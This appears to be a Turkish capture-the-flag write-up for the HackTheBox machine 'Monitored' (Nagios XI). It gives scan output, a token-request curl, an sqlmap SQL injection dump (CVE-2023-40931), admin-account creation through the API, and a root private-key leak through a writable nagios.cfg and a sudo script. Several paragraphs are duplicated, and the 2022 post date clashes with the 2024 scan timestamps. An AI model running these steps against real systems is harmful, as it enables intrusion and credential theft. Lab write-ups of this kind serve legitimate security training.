- 14 Eki 2022
- 583
- 490
HackTheBox :: Monitored
merhaba, bu konumda hackthebox platformunda bulunan "Monitored" isimli makinenin çözümünü göstereceğim. bu makine linux tabanlı orta seviye bir makinedir. makinede çalışan servisleri öğrenmek adına nmap ile bir tarama yaparak başlıyorum.
CoffeeScript:
Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-16 18:21 EST
Nmap scan report for 10.10.11.248
Host is up (0.060s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 61e2e7b41b5d46dc3b2f9138e66dc5ff (RSA)
| 256 2973c5a58daa3f60a94aa3e59f675c93 (ECDSA)
|_ 256 6d7af9eb8e45c2026ad58d4db3a3376f (ED25519)
80/tcp open http Apache httpd 2.4.56
|_http-title: Did not follow redirect to https://nagios.monitored.htb/
|_http-server-header: Apache/2.4.56 (Debian)
389/tcp open ldap OpenLDAP 2.2.X - 2.3.X
443/tcp open ssl/http Apache httpd 2.4.56 ((Debian))
|_ssl-date: TLS randomness does not represent time
|_http-title: Nagios XI
| ssl-cert: Subject: commonName=nagios.monitored.htb/organizationName=Monitored/stateOrProvinceName=Dorset/countryName=UK
| Not valid before: 2023-11-11T21:46:55
|_Not valid after: 2297-08-25T21:46:55
| tls-alpn:
|_ http/1.1
|_http-server-header: Apache/2.4.56 (Debian)
Service Info: Host: nagios.monitored.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.97 seconds
makinede 22 (OpenSSH), 389 (OpenLDAP) ve 80/443 (Apache httpd) servisleri çalışıyormuş. bununla birlikte http servisine erişilmeye çalışıldığında nagios.monitored.htb adresine yönlendiriyormuş. bu adresi ip ile birlikte /etc/hosts dizinine girdikten sonra ldapsearch ile boş kimlik bilgilerinin geçerli olup olmadığını kontrol ettim.
ldap servisinden bir şey çıkmadığına göre geriye sadece http servisini kontrol etmek kalıyor.
site nagiosxi adında bir yönetim sistemi kullanıyormuş. internetten 2023 yılında paylaşılan zafiyetleri aradığımda giriş yaptıktan sonra kullanabileceğim bir kaç zafiyet buldum. elimizde herhangi bir kullanıcı bilgisi olmadığı için şimdilik burayı atlayalım.
dirsearch ile yaptığım dosya/dizin taraması sonucunda nagiosxi dizini altında bir sürü dosya/dizin keşfettim ama bir kaçı harici giriş yapmadan görüntülenemiyordu.
burada ki dosya/dizinlerden bir şey çıkaramadım ama içlerinden birinde ilginç bir şey buldum
bunun dışında bu web uygulamasında vhost'ta dahil başka bir şey bulunmuyor. Eğer brute force yapmayacaksak kullanabileceğimiz başka TCP servisi de kalmadı. başa dönüp nmap ile bir UDP port taraması gerçekleştireceğim. bu tarama öncekine nazaran daha uzun sürecektir.
CoffeeScript:
Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-16 19:15 EST
Nmap scan report for monitored.htb (10.10.11.248)
Host is up (0.059s latency).
Not shown: 993 open|filtered udp ports (no-response)
PORT STATE SERVICE
123/udp open ntp
161/udp open snmp
9876/udp closed sd
19728/udp closed unknown
37212/udp closed unknown
42172/udp closed unknown
49226/udp closed unknown
nmap ile yaptığım ntp script taramasından bir şey çıkmadı. yaptığım diğer bir script tarması olan snmp de ise bir bash scriptini çalıştırırken kullandığı kullanıcı bilgilerini buldum.
login sayfasına yanlış kullanıcı bilgileri girdiğimde "invalid username or password" sonucunu döndürürken bu kullanıcı bilgilerini girdiğimizde "The specified user account has been disabled or does not exist." sonucunu döndürüyor. nagiosxi için bu hesabı nasıl açabileceğimiz hakkında internette aramalar yaptıktan sonra şu sayfayı buldum.
https://support.nagios.com/forum/viewtopic.php?f=16&t=58783
verdiği komutu düzenleyip kullandıktan sonra bir token'e sahip oldum.
login sayfasına yanlış kullanıcı bilgileri girdiğimde "invalid username or password" sonucunu döndürürken bu kullanıcı bilgilerini girdiğimizde "The specified user account has been disabled or does not exist." sonucunu döndürüyor. nagiosxi için bu hesabı nasıl açabileceğimiz hakkında internette aramalar yaptıktan sonra şu sayfayı buldum.
https://support.nagios.com/forum/viewtopic.php?f=16&t=58783
verdiği komutu düzenleyip kullandıktan sonra bir token'e sahip oldum.
curl -XPOST -k -L ' ' -d 'username=svc&password=ŞİFRE BURAYA&valid_min=5'
{
"username": "svc",
"user_id": "2",
"auth_token": "4859cfdb9eab2cd91c782f73f90eaf422c2263fb",
"valid_min": 5,
"valid_until": "Tue, 16 Jan 2024 20:04:06 -0500"
}
elde ettiğimiz tokeni kullanarak yönetim panelinde bulunan sql enjeksiyonu zafiyetini sömürebiliriz (CVE-2023-40931).
sqlmap -u " " -p id -D nagiosxi -T xi_users --dump
john ile nagiosadmin kullanıcısın şifresini kıramadıktan sonra forum da gezinmeye devam ettim ve yetkili hesabı açmayı öğrendim.
sqlmap -u " " -p id -D nagiosxi -T xi_users --dump
john ile nagiosadmin kullanıcısın şifresini kıramadıktan sonra forum da gezinmeye devam ettim ve yetkili hesabı açmayı öğrendim.
curl -k -XPOST " " -d "username=will&password=willgraham&name=willgraham&email=[email protected]&auth_level=admin"
{
"success": "User account will was added successfully!",
"user_id": 6
}
kullanıcıyı oluşturup, giriş yaptıktan sonra konfigürasyon ayarlarının bulunduğu yerde komut ekleyip çalıştırabileceğimiz bir alan gördüm. buraya kendi reverse shell kodumu girdikten sonra çalıştırdım.
veee ilk bayrağımızı user.txt dosyasından aldık.
sudo -l komutunu kullanarak yetkilerimi görüntülemek istediğimde aşağıda ki gibi bir ton şey çıktı. hazır servisleri es geçerek diğer dosyaları tek tek inceleyeceğim.
/usr/local/nagiosxi/scripts/migrate/migrate.php bu dosyayı daha önce nagios ile ilgili zafiyetleri ararken görmüştüm, tekrar o sayfayı bulup neler yapabileceğime bakacağım.
aradığım şeyi buldum ama kullanamadım anlamadım
Technical Advisory – Multiple Vulnerabilities in Nagios XI
/usr/local/nagiosxi/scripts/components/getprofile.sh dosyasında "nagios_log_file=$(cat /usr/local/nagios/etc/nagios.cfg | sed -n -e 's/^log_file=//p' | sed 's/\r$//')" şeklinde bir kod satırı bulunuyor. bu kod /usr/local/nagios/etc/nagios.cfg dosyasının içerisinde ki log_file= ifadesinden sonra gelen dosyayı nagios_log_file değişkenine atıyor. bu değişkeni takip ettiğimizde ise "tail -n500 "$nagios_log_file" &> "/usr/local/nagiosxi/var/components/profile/$folder/nagios-logs/nagios.txt"" komutu ile karşılaşıyoruz. bu komutta nagios_log_file değişkeninde bulunan dosyayı nagios-logs dizininde ki nagios.txt dosyasına atıyor.
kodun sonunda ise /usr/local/nagiosxi/var/components/profile/profile-* dizinine kopyaladığı tüm bilgileri profile adında bir zip dosyasına dönüştürüyor.
Bash:
(
ts=$(date +%s)
cd /usr/local/nagiosxi/var/components/profile
mv "$folder" "profile-$ts"
zip -r profile.zip "profile-$ts"
rm -rf "profile-$ts"
mv -f profile.zip ../
)
/usr/local/nagios/etc/nagios.cfg dosyasına yazma iznimiz var. bu dosyada ki log_file= kısmının yanına /root/.ssh/id_rsa dosyasını ekliyoruz.
sudo /usr/local/nagiosxi/scripts/components/getprofile.sh 1 komutunu kullanarak scripti çalıştırdıktan sonra profile.zip dosyasını unzip /usr/local/nagiosxi/var/components/profile.zip komutu ile çıkartıp içerisinde ki nagios-logs/nagios.txt dosyasından root kullanıcısının id_rsa verisini alıyoruz.
içeriğini bir dosyaya koyup chmod 600 dosya_adi komutu ile yetkilendiyoruz daha sonra ise ssh [email protected] -i dosya_adi komutu ile root kullanıcısına giriş yapıp son bayrağımızı alıyoruz.
HackTheBox :: Monitored
sudo /usr/local/nagiosxi/scripts/components/getprofile.sh 1 komutunu kullanarak scripti çalıştırdıktan sonra profile.zip dosyasını unzip /usr/local/nagiosxi/var/components/profile.zip komutu ile çıkartıp içerisinde ki nagios-logs/nagios.txt dosyasından root kullanıcısının id_rsa verisini alıyoruz.
içeriğini bir dosyaya koyup chmod 600 dosya_adi komutu ile yetkilendiyoruz daha sonra ise ssh [email protected] -i dosya_adi komutu ile root kullanıcısına giriş yapıp son bayrağımızı alıyoruz.
HackTheBox :: Monitored
Son düzenleme: